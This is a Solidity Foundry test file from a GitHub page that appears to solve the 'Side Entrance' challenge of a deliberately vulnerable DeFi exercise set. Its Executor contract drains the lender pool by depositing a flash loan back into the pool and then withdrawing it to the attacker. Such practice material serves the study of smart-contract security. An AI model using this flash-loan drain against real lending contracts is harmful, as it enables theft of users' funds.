-
Notifications
You must be signed in to change notification settings - Fork 13
Expand file tree
/
Copy pathSideEntranceLenderPool.t.sol
More file actions
100 lines (70 loc) · 2.64 KB
/
Copy pathSideEntranceLenderPool.t.sol
File metadata and controls
100 lines (70 loc) · 2.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import {Utilities} from "../utils/Utilities.sol";
import {BaseTest} from "../BaseTest.sol";
import "../../side-entrance/SideEntranceLenderPool.sol";
import "openzeppelin-contracts/utils/Address.sol";
contract Executor is IFlashLoanEtherReceiver {
using Address for address payable;
SideEntranceLenderPool pool;
address owner;
constructor(SideEntranceLenderPool _pool) {
owner = msg.sender;
pool = _pool;
}
function execute() external payable {
require(msg.sender == address(pool), "only pool");
// receive flash loan and call pool.deposit depositing the loaned amount
pool.deposit{value: msg.value}();
}
function borrow() external {
require(msg.sender == owner, "only owner");
uint256 poolBalance = address(pool).balance;
pool.flashLoan(poolBalance);
// we have deposited inside the `execute` method so we withdraw the deposited borrow
pool.withdraw();
// now we transfer received pool balance to the owner (attacker)
payable(owner).sendValue(address(this).balance);
}
receive () external payable {}
}
contract SideEntranceLenderPoolTest is BaseTest {
// Pool has 1000000 ETH in balance
uint ETHER_IN_POOL = 1000 ether;
SideEntranceLenderPool pool;
address payable attacker;
uint256 attackerInitialEthBalance;
constructor() {
string[] memory labels = new string[](2);
labels[0] = "Attacker";
preSetup(2, labels);
}
function setUp() public override {
super.setUp();
attacker = users[0];
// setup contracts
pool = new SideEntranceLenderPool();
vm.label(address(pool), "SideEntranceLenderPool");
pool.deposit{value: ETHER_IN_POOL}();
attackerInitialEthBalance = attacker.balance;
assertEq(address(pool).balance, ETHER_IN_POOL);
}
function test_Exploit() public {
runTest();
}
function exploit() internal override {
/** CODE YOUR EXPLOIT HERE */
vm.startPrank(attacker);
Executor executor = new Executor(pool);
executor.borrow();
vm.stopPrank();
}
function success() internal override {
/** SUCCESS CONDITIONS */
assertEq(address(pool).balance, 0);
// Not checking exactly how much is the final balance of the attacker,
// because it'll depend on how much gas the attacker spends in the attack
// If there were no gas costs, it would be balance before attack + ETHER_IN_POOL
assertGt(attacker.balance, attackerInitialEthBalance);
}
}